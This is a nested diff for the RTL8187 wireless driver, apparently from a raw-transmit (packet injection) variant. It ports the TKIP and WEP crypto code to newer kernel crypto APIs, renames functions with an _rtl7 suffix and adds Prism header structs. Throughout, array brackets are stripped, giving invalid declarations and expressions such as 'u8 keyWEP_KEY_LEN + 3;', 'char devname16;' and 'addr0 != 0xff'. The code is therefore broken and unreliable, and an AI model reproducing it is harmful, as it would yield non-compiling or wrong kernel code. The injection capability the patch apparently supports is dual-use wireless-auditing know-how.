++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
+ 		if (priv->tfm_michael)
+ 			crypto_free_tfm(priv->tfm_michael);
+ 		if (priv->tfm_arc4)
+ 			crypto_free_tfm(priv->tfm_arc4);
++#else
++		if (priv->tx_tfm_michael)
++			crypto_free_hash(priv->tx_tfm_michael);
++		if (priv->tx_tfm_arc4)
++			crypto_free_blkcipher(priv->tx_tfm_arc4);
++		if (priv->rx_tfm_michael)
++			crypto_free_hash(priv->rx_tfm_michael);
++		if (priv->rx_tfm_arc4)
++			crypto_free_blkcipher(priv->rx_tfm_arc4);
++#endif
+ 		kfree(priv);
+ 	}
+ 
+@@ -101,13 +164,26 @@
+ }
+ 
+ 
+-static void ieee80211_tkip_deinit(void *priv)
++static void ieee80211_tkip_deinit_rtl7(void *priv)
+ {
+ 	struct ieee80211_tkip_data *_priv = priv;
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
+ 	if (_priv && _priv->tfm_michael)
+ 		crypto_free_tfm(_priv->tfm_michael);
+ 	if (_priv && _priv->tfm_arc4)
+ 		crypto_free_tfm(_priv->tfm_arc4);
++#else
++	if (_priv) {
++		if (_priv->tx_tfm_michael)
++			crypto_free_hash(_priv->tx_tfm_michael);
++		if (_priv->tx_tfm_arc4)
++			crypto_free_blkcipher(_priv->tx_tfm_arc4);
++		if (_priv->rx_tfm_michael)
++			crypto_free_hash(_priv->rx_tfm_michael);
++		if (_priv->rx_tfm_arc4)
++			crypto_free_blkcipher(_priv->rx_tfm_arc4);
++	}
++#endif
+ 	kfree(priv);
+ }
+ 
+@@ -200,7 +276,7 @@
+ 
+ #define PHASE1_LOOP_COUNT 8
+ 
+-static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32)
++static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32)
+ {
+ 	int i, j;
+ 
+@@ -222,7 +298,7 @@
+ }
+ 
+ 
+-static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK,
++static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK,
+ 			       u16 IV16)
+ {
+ 	/* Make temporary area overlap WEP seed so that the final copy can be
+@@ -268,7 +344,7 @@
+ #endif
+ }
+ 
+-static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv)
++static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv)
+ {
+ 	struct ieee80211_tkip_data *tkey = priv;
+ 	int len;
+@@ -276,6 +352,9 @@
+ 	struct ieee80211_hdr *hdr;
+ 	u32 crc;
+ 	struct scatterlist sg;
++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19))
++	struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 };
++#endif
+ 
+ 	if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 ||
+ 	    skb->len < hdr_len)
+@@ -283,11 +362,11 @@
+ 
+ 	hdr = (struct ieee80211_hdr *) skb->data;
+ 	if (!tkey->tx_phase1_done) {
+-		tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2,
++		tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2,
+ 				   tkey->tx_iv32);
+ 		tkey->tx_phase1_done = 1;
+ 	}
+-	tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16);
++	tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16);
+ 
+ 	len = skb->len - hdr_len;
+ 	pos = skb_push(skb, 8);
+@@ -310,11 +389,19 @@
+ 	icv2 = crc >> 16;
+ 	icv3 = crc >> 24;
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16);
++#else
++	crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16);
++#endif
+ 	sg.page = virt_to_page(pos);
+ 	sg.offset = offset_in_page(pos);
+ 	sg.length = len + 4;
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4);
++#else
++	crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4);
++#endif
+ 
+ 	tkey->tx_iv16++;
+ 	if (tkey->tx_iv16 == 0) {
+@@ -325,7 +412,7 @@
+ 	return 0;
+ }
+ 
+-static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv)
++static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv)
+ {
+ 	struct ieee80211_tkip_data *tkey = priv;
+ 	u8 rc4key16;
+@@ -337,6 +424,9 @@
+ 	u32 crc;
+ 	struct scatterlist sg;
+ 	int plen;
++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19))
++	struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 };
++#endif
+ 
+ 	if (skb->len < hdr_len + 8 + 4)
+ 		return -1;
+@@ -382,18 +472,26 @@
+ 	}
+ 
+ 	if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) {
+-		tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32);
++		tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32);
+ 		tkey->rx_phase1_done = 1;
+ 	}
+-	tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16);
++	tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16);
+ 
+ 	plen = skb->len - hdr_len - 12;
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16);
++#else
++	crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16);
++#endif
+ 	sg.page = virt_to_page(pos);
+ 	sg.offset = offset_in_page(pos);
+ 	sg.length = plen + 4;
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4);
++#else
++	crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4);
++#endif
+ 
+ 	crc = ~crc32_le(~0, pos, plen);
+ 	icv0 = crc;
+@@ -427,13 +525,22 @@
+ 	return keyidx;
+ }
+ 
+-
+-static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr,
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
++static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr,
+ 		       u8 *data, size_t data_len, u8 *mic)
+ {
+ 	struct scatterlist sg2;
+ 
+ 	if (tkey->tfm_michael == NULL) {
++#else
++static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr,
++		       u8 *data, size_t data_len, u8 *mic)
++{
++	struct hash_desc desc;
++	struct scatterlist sg2;
++
++	if (tfm_michael == NULL) {
++#endif
+ 		printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n");
+ 		return -1;
+ 	}
+@@ -445,15 +552,24 @@
+ 	sg1.offset = offset_in_page(data);
+ 	sg1.length = data_len;
+ 
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
+ 	crypto_digest_init(tkey->tfm_michael);
+ 	crypto_digest_setkey(tkey->tfm_michael, key, 8);
+ 	crypto_digest_update(tkey->tfm_michael, sg, 2);
+ 	crypto_digest_final(tkey->tfm_michael, mic);
+ 
+ 	return 0;
++#else
++	if (crypto_hash_setkey(tfm_michael, key, 8))
++		return -1;
++
++	desc.tfm = tfm_michael;
++	desc.flags = 0;
++	return crypto_hash_digest(&desc, sg, data_len + 16, mic);
++#endif
+ }
+ 
+-static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr)
++static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr)
+ {
+ 	struct ieee80211_hdr *hdr11;
+ 
+@@ -483,7 +599,7 @@
+ }
+ 
+ 
+-static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv)
++static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv)
+ {
+ 	struct ieee80211_tkip_data *tkey = priv;
+ 	u8 *pos;
+@@ -495,18 +611,24 @@
+ 		return -1;
+ 	}
+ 
+-	michael_mic_hdr(skb, tkey->tx_hdr);
++	michael_mic_hdr_rtl7(skb, tkey->tx_hdr);
+ 	pos = skb_put(skb, 8);
+-	if (michael_mic(tkey, &tkey->key16, tkey->tx_hdr,
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
++	if (michael_mic_rtl7(tkey, &tkey->key16, tkey->tx_hdr,
+ 			skb->data + hdr_len, skb->len - 8 - hdr_len, pos))
+ 		return -1;
++#else
++	if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key16, tkey->tx_hdr,
++			skb->data + hdr_len, skb->len - 8 - hdr_len, pos))
++		return -1;
++#endif
+ 
+ 	return 0;
+ }
+ 
+ 
+ #if WIRELESS_EXT >= 18
+-static void ieee80211_michael_mic_failure(struct net_device *dev,
++static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev,
+ 				       struct ieee80211_hdr *hdr,
+ 				       int keyidx)
+ {
+@@ -527,7 +649,7 @@
+ 	wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev);
+ }
+ #elif WIRELESS_EXT >= 15
+-static void ieee80211_michael_mic_failure(struct net_device *dev,
++static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev,
+ 				       struct ieee80211_hdr *hdr,
+ 				       int keyidx)
+ {
+@@ -543,7 +665,7 @@
+ 	wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf);
+ }
+ #else /* WIRELESS_EXT >= 15 */
+-static inline void ieee80211_michael_mic_failure(struct net_device *dev,
++static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev,
+ 					      struct ieee80211_hdr *hdr,
+ 					      int keyidx)
+ {
+@@ -551,7 +673,7 @@
+ #endif /* WIRELESS_EXT >= 15 */
+ 
+ 
+-static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx,
++static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx,
+ 				     int hdr_len, void *priv)
+ {
+ 	struct ieee80211_tkip_data *tkey = priv;
+@@ -560,10 +682,16 @@
+ 	if (!tkey->key_set)
+ 		return -1;
+ 
+-	michael_mic_hdr(skb, tkey->rx_hdr);
+-	if (michael_mic(tkey, &tkey->key24, tkey->rx_hdr,
++	michael_mic_hdr_rtl7(skb, tkey->rx_hdr);
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
++	if (michael_mic_rtl7(tkey, &tkey->key24, tkey->rx_hdr,
+ 			skb->data + hdr_len, skb->len - 8 - hdr_len, mic))
+ 		return -1;
++#else
++	if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key24, tkey->rx_hdr,
++			skb->data + hdr_len, skb->len - 8 - hdr_len, mic))
++		return -1;
++#endif
+ 	if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) {
+ 		struct ieee80211_hdr *hdr;
+ 		hdr = (struct ieee80211_hdr *) skb->data;
+@@ -572,7 +700,7 @@
+ 		       skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2),
+ 		       keyidx);
+ 		if (skb->dev)
+-			ieee80211_michael_mic_failure(skb->dev, hdr, keyidx);
++			ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx);
+ 		tkey->dot11RSNAStatsTKIPLocalMICFailures++;
+ 		return -1;
+ 	}
+@@ -588,18 +716,33 @@
+ }
+ 
+ 
+-static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv)
++static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv)
+ {
+ 	struct ieee80211_tkip_data *tkey = priv;
+ 	int keyidx;
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	struct crypto_tfm *tfm = tkey->tfm_michael;
+ 	struct crypto_tfm *tfm2 = tkey->tfm_arc4;
++#else
++	struct crypto_hash *tfm = tkey->tx_tfm_michael;
++	struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4;
++	struct crypto_hash *tfm3 = tkey->rx_tfm_michael;
++	struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4;
++#endif
+ 
+ 	keyidx = tkey->key_idx;
+ 	memset(tkey, 0, sizeof(*tkey));
+ 	tkey->key_idx = keyidx;
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	tkey->tfm_michael = tfm;
+ 	tkey->tfm_arc4 = tfm2;
++#else
++	tkey->tx_tfm_michael = tfm;
++	tkey->tx_tfm_arc4 = tfm2;
++	tkey->rx_tfm_michael = tfm3;
++	tkey->rx_tfm_arc4 = tfm4;
++#endif
++
+ 	if (len == TKIP_KEY_LEN) {
+ 		memcpy(tkey->key, key, TKIP_KEY_LEN);
+ 		tkey->key_set = 1;
+@@ -618,7 +761,7 @@
+ }
+ 
+ 
+-static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv)
++static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv)
+ {
+ 	struct ieee80211_tkip_data *tkey = priv;
+ 
+@@ -648,7 +791,7 @@
+ }
+ 
+ 
+-static char * ieee80211_tkip_print_stats(char *p, void *priv)
++static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv)
+ {
+ 	struct ieee80211_tkip_data *tkip = priv;
+ 	p += sprintf(p, "key%d alg=TKIP key_set=%d "
+@@ -675,34 +818,34 @@
+ }
+ 
+ 
+-static struct ieee80211_crypto_ops ieee80211_crypt_tkip = {
++static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = {
+ 	.name			= "TKIP",
+-	.init			= ieee80211_tkip_init,
+-	.deinit			= ieee80211_tkip_deinit,
+-	.encrypt_mpdu		= ieee80211_tkip_encrypt,
+-	.decrypt_mpdu		= ieee80211_tkip_decrypt,
+-	.encrypt_msdu		= ieee80211_michael_mic_add,
+-	.decrypt_msdu		= ieee80211_michael_mic_verify,
+-	.set_key		= ieee80211_tkip_set_key,
+-	.get_key		= ieee80211_tkip_get_key,
+-	.print_stats		= ieee80211_tkip_print_stats,
++	.init			= ieee80211_tkip_init_rtl7,
++	.deinit			= ieee80211_tkip_deinit_rtl7,
++	.encrypt_mpdu		= ieee80211_tkip_encrypt_rtl7,
++	.decrypt_mpdu		= ieee80211_tkip_decrypt_rtl7,
++	.encrypt_msdu		= ieee80211_michael_mic_add_rtl7,
++	.decrypt_msdu		= ieee80211_michael_mic_verify_rtl7,
++	.set_key		= ieee80211_tkip_set_key_rtl7,
++	.get_key		= ieee80211_tkip_get_key_rtl7,
++	.print_stats		= ieee80211_tkip_print_stats_rtl7,
+ 	.extra_prefix_len	= 4 + 4, /* IV + ExtIV */
+ 	.extra_postfix_len	= 8 + 4, /* MIC + ICV */
+ 	.owner		        = THIS_MODULE,
+ };
+ 
+ 
+-static int __init ieee80211_crypto_tkip_init(void)
++static int __init ieee80211_crypto_tkip_init_rtl7(void)
+ {
+-	return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip);
++	return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7);
+ }
+ 
+ 
+-static void __exit ieee80211_crypto_tkip_exit(void)
++static void __exit ieee80211_crypto_tkip_exit_rtl7(void)
+ {
+-	ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip);
++	ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7);
+ }
+ 
+ 
+-module_init(ieee80211_crypto_tkip_init);
+-module_exit(ieee80211_crypto_tkip_exit);
++module_init(ieee80211_crypto_tkip_init_rtl7);
++module_exit(ieee80211_crypto_tkip_exit_rtl7);
+diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c
+--- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c	2007-06-08 23:30:47.000000000 +0200
+@@ -9,7 +9,6 @@
+  * more details.
+  */
+ 
+-#include <linux/config.h>
+ #include <linux/version.h>
+ #include <linux/module.h>
+ #include <linux/init.h>
+@@ -18,13 +17,24 @@
+ #include <linux/skbuff.h>
+ #include <asm/string.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ 
+ #include <linux/crypto.h>
+-#include <asm/scatterlist.h>
+ #include <linux/crc32.h>
+ 
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20)
++    #include <asm/scatterlist.h>
++#else
++    #include <linux/scatterlist.h>
++#endif
++
+ MODULE_AUTHOR("Jouni Malinen");
+ MODULE_DESCRIPTION("Host AP crypt: WEP");
+ MODULE_LICENSE("GPL");
+@@ -36,11 +46,16 @@
+ 	u8 keyWEP_KEY_LEN + 1;
+ 	u8 key_len;
+ 	u8 key_idx;
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
+ 	struct crypto_tfm *tfm;
++#else
++	struct crypto_blkcipher *rx_tfm;
++	struct crypto_blkcipher *tx_tfm;
++#endif
+ };
+ 
+ 
+-static void * prism2_wep_init(int keyidx)
++static void * prism2_wep_init_rtl7(int keyidx)
+ {
+ 	struct prism2_wep_data *priv;
+ 
+@@ -50,13 +65,30 @@
+ 	memset(priv, 0, sizeof(*priv));
+ 	priv->key_idx = keyidx;
+ 
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
+ 	priv->tfm = crypto_alloc_tfm("arc4", 0);
+ 	if (priv->tfm == NULL) {
+ 		printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate "
+ 		       "crypto API arc4\n");
+ 		goto fail;
+ 	}
++#else
++	priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC);
++	if (IS_ERR(priv->tx_tfm)) {
++		printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate "
++		       "crypto API arc4\n");
++		priv->tx_tfm = NULL;
++		goto fail;
++	}
+ 
++	priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC);
++	if (IS_ERR(priv->rx_tfm)) {
++		printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate "
++		       "crypto API arc4\n");
++		priv->rx_tfm = NULL;
++		goto fail;
++	}
++#endif
+ 	/* start WEP IV from a random value */
+ 	get_random_bytes(&priv->iv, 4);
+ 
+@@ -64,19 +96,35 @@
+ 
+ fail:
+ 	if (priv) {
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
+ 		if (priv->tfm)
+ 			crypto_free_tfm(priv->tfm);
++#else
++		if (priv->tx_tfm)
++			crypto_free_blkcipher(priv->tx_tfm);
++		if (priv->rx_tfm)
++			crypto_free_blkcipher(priv->rx_tfm);
++#endif
+ 		kfree(priv);
+ 	}
+ 	return NULL;
+ }
+ 
+ 
+-static void prism2_wep_deinit(void *priv)
++static void prism2_wep_deinit_rtl7(void *priv)
+ {
+ 	struct prism2_wep_data *_priv = priv;
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
+ 	if (_priv && _priv->tfm)
+ 		crypto_free_tfm(_priv->tfm);
++#else
++	if (_priv) {
++		if (_priv->tx_tfm)
++			crypto_free_blkcipher(_priv->tx_tfm);
++		if (_priv->rx_tfm)
++			crypto_free_blkcipher(_priv->rx_tfm);
++	}
++#endif
+ 	kfree(priv);
+ }
+ 
+@@ -87,13 +135,16 @@
+  *
+  * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data))
+  */
+-static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv)
++static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv)
+ {
+ 	struct prism2_wep_data *wep = priv;
+ 	u32 crc, klen, len;
+ 	u8 keyWEP_KEY_LEN + 3;
+ 	u8 *pos, *icv;
+ 	struct scatterlist sg;
++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19))
++	struct blkcipher_desc desc = { .tfm = wep->tx_tfm };
++#endif
+ 
+ 	if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 ||
+ 	    skb->len < hdr_len)
+@@ -134,13 +185,21 @@
+ 	icv2 = crc >> 16;
+ 	icv3 = crc >> 24;
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	crypto_cipher_setkey(wep->tfm, key, klen);
++#else
++	crypto_blkcipher_setkey(wep->tx_tfm, key, klen);
++#endif
+ 	sg.page = virt_to_page(pos);
+ 	sg.offset = offset_in_page(pos);
+ 	sg.length = len + 4;
+-	crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4);
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++	crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4);
+ 	return 0;
++#else
++	return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4);
++#endif
+ }
+ 
+ 
+@@ -151,13 +210,16 @@
+  * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on
+  * failure. If frame is OK, IV and ICV will be removed.
+  */
+-static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv)
++static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv)
+ {
+ 	struct prism2_wep_data *wep = priv;
+ 	u32 crc, klen, plen;
+ 	u8 keyWEP_KEY_LEN + 3;
+ 	u8 keyidx, *pos, icv4;
+ 	struct scatterlist sg;
++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19))
++	struct blkcipher_desc desc = { .tfm = wep->rx_tfm };
++#endif
+ 
+ 	if (skb->len < hdr_len + 8)
+ 		return -1;
+@@ -178,11 +240,22 @@
+ 	/* Apply RC4 to data and compute CRC32 over decrypted data */
+ 	plen = skb->len - hdr_len - 8;
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	crypto_cipher_setkey(wep->tfm, key, klen);
++#else
++	crypto_blkcipher_setkey(wep->rx_tfm, key, klen);
++#endif
++
+ 	sg.page = virt_to_page(pos);
+ 	sg.offset = offset_in_page(pos);
+ 	sg.length = plen + 4;
++
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4);
++#else
++	if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4))
++		return -7;
++#endif
+ 
+ 	crc = ~crc32_le(~0, pos, plen);
+ 	icv0 = crc;
+@@ -203,7 +276,7 @@
+ }
+ 
+ 
+-static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv)
++static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv)
+ {
+ 	struct prism2_wep_data *wep = priv;
+ 
+@@ -217,7 +290,7 @@
+ }
+ 
+ 
+-static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv)
++static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv)
+ {
+ 	struct prism2_wep_data *wep = priv;
+ 
+@@ -230,7 +303,7 @@
+ }
+ 
+ 
+-static char * prism2_wep_print_stats(char *p, void *priv)
++static char * prism2_wep_print_stats_rtl7(char *p, void *priv)
+ {
+ 	struct prism2_wep_data *wep = priv;
+ 	p += sprintf(p, "key%d alg=WEP len=%d\n",
+@@ -239,34 +312,34 @@
+ }
+ 
+ 
+-static struct ieee80211_crypto_ops ieee80211_crypt_wep = {
++static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = {
+ 	.name			= "WEP",
+-	.init			= prism2_wep_init,
+-	.deinit			= prism2_wep_deinit,
+-	.encrypt_mpdu		= prism2_wep_encrypt,
+-	.decrypt_mpdu		= prism2_wep_decrypt,
++	.init			= prism2_wep_init_rtl7,
++	.deinit			= prism2_wep_deinit_rtl7,
++	.encrypt_mpdu		= prism2_wep_encrypt_rtl7,
++	.decrypt_mpdu		= prism2_wep_decrypt_rtl7,
+ 	.encrypt_msdu		= NULL,
+ 	.decrypt_msdu		= NULL,
+-	.set_key		= prism2_wep_set_key,
+-	.get_key		= prism2_wep_get_key,
+-	.print_stats		= prism2_wep_print_stats,
++	.set_key		= prism2_wep_set_key_rtl7,
++	.get_key		= prism2_wep_get_key_rtl7,
++	.print_stats		= prism2_wep_print_stats_rtl7,
+ 	.extra_prefix_len	= 4, /* IV */
+ 	.extra_postfix_len	= 4, /* ICV */
+ 	.owner			= THIS_MODULE,
+ };
+ 
+ 
+-static int __init ieee80211_crypto_wep_init(void)
++static int __init ieee80211_crypto_wep_init_rtl7(void)
+ {
+-	return ieee80211_register_crypto_ops(&ieee80211_crypt_wep);
++	return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7);
+ }
+ 
+ 
+-static void __exit ieee80211_crypto_wep_exit(void)
++static void __exit ieee80211_crypto_wep_exit_rtl7(void)
+ {
+-	ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep);
++	ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7);
+ }
+ 
+ 
+-module_init(ieee80211_crypto_wep_init);
+-module_exit(ieee80211_crypto_wep_exit);
++module_init(ieee80211_crypto_wep_init_rtl7);
++module_exit(ieee80211_crypto_wep_exit_rtl7);
+diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_rawtx/ieee80211/ieee80211.h
+--- rtl8187_orig/ieee80211/ieee80211.h	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211.h	2007-06-08 23:30:44.000000000 +0200
+@@ -156,6 +156,22 @@
+ 	struct list_head list;
+ };
+ 
++#define LWNG_CAP_DID_BASE   (4 | (1 << 6)) /* section 4, group 1 */
++/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header
++ * (from linux-wlan-ng) */
++struct linux_wlan_ng_val {
++	u32 did;
++	u16 status, len;
++	u32 data;
++} __attribute__ ((packed));
++
++struct linux_wlan_ng_prism_hdr {
++	u32 msgcode, msglen;
++	char devname16;
++	struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal,
++		noise, rate, istx, frmlen;
++} __attribute__ ((packed));
++
+ struct ieee80211_hdr {
+ 	u16 frame_ctl;
+ 	u16 duration_id;
+@@ -840,14 +856,14 @@
+ 
+ 
+ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11))
+-extern inline int is_multicast_ether_addr(const u8 *addr)
++extern inline int is_multicast_ether_addr_rtl7(const u8 *addr)
+ {
+         return ((addr0 != 0xff) && (0x01 & addr0));
+ }
+ #endif
+ 
+ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13))
+-extern inline int is_broadcast_ether_addr(const u8 *addr)
++extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr)
+ {
+ 	return ((addr0 == 0xff) && (addr1 == 0xff) && (addr2 == 0xff) &&   \
+ 		(addr3 == 0xff) && (addr4 == 0xff) && (addr5 == 0xff));
+@@ -1015,10 +1031,16 @@
+ 	struct timer_list beacon_timer;
+ 	
+ 	struct work_struct associate_complete_wq;
++
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++	struct delayed_work associate_retry_wq;
++	struct delayed_work softmac_scan_wq;
++#else
+ 	struct work_struct associate_retry_wq;
++	struct work_struct softmac_scan_wq;
++#endif
+ 	struct work_struct start_ibss_wq;
+ 	struct work_struct associate_procedure_wq;
+-	struct work_struct softmac_scan_wq;
+ 	struct work_struct wx_sync_scan_wq;
+ 	
+ 	struct workqueue_struct *wq;
+@@ -1154,12 +1176,12 @@
+ 
+ 
+ 
+-extern inline void *ieee80211_priv(struct net_device *dev)
++extern inline void *ieee80211_priv_rtl7(struct net_device *dev)
+ {
+ 	return ((struct ieee80211_device *)netdev_priv(dev))->priv;
+ }
+ 
+-extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len)
++extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len)
+ {
+ 	/* Single white space is for Linksys APs */
+ 	if (essid_len == 1 && essid0 == ' ')
+@@ -1175,7 +1197,7 @@
+ 	return 1;
+ }
+ 
+-extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode)
++extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode)
+ {
+ 	/*
+ 	 * It is possible for both access points and our device to support
+@@ -1201,7 +1223,7 @@
+ 	return 0;
+ }
+ 
+-extern inline int ieee80211_get_hdrlen(u16 fc)
++extern inline int ieee80211_get_hdrlen_rtl7(u16 fc)
+ {
+ 	int hdrlen = 24;
+ 
+@@ -1229,140 +1251,144 @@
+ 
+ 
+ /* ieee80211.c */
+-extern void free_ieee80211(struct net_device *dev);
+-extern struct net_device *alloc_ieee80211(int sizeof_priv);
++extern void free_ieee80211_rtl7(struct net_device *dev);
++extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv);
+ 
+-extern int ieee80211_set_encryption(struct ieee80211_device *ieee);
++extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee);
+ 
+ /* ieee80211_tx.c */
+ 
+-extern int ieee80211_encrypt_fragment(
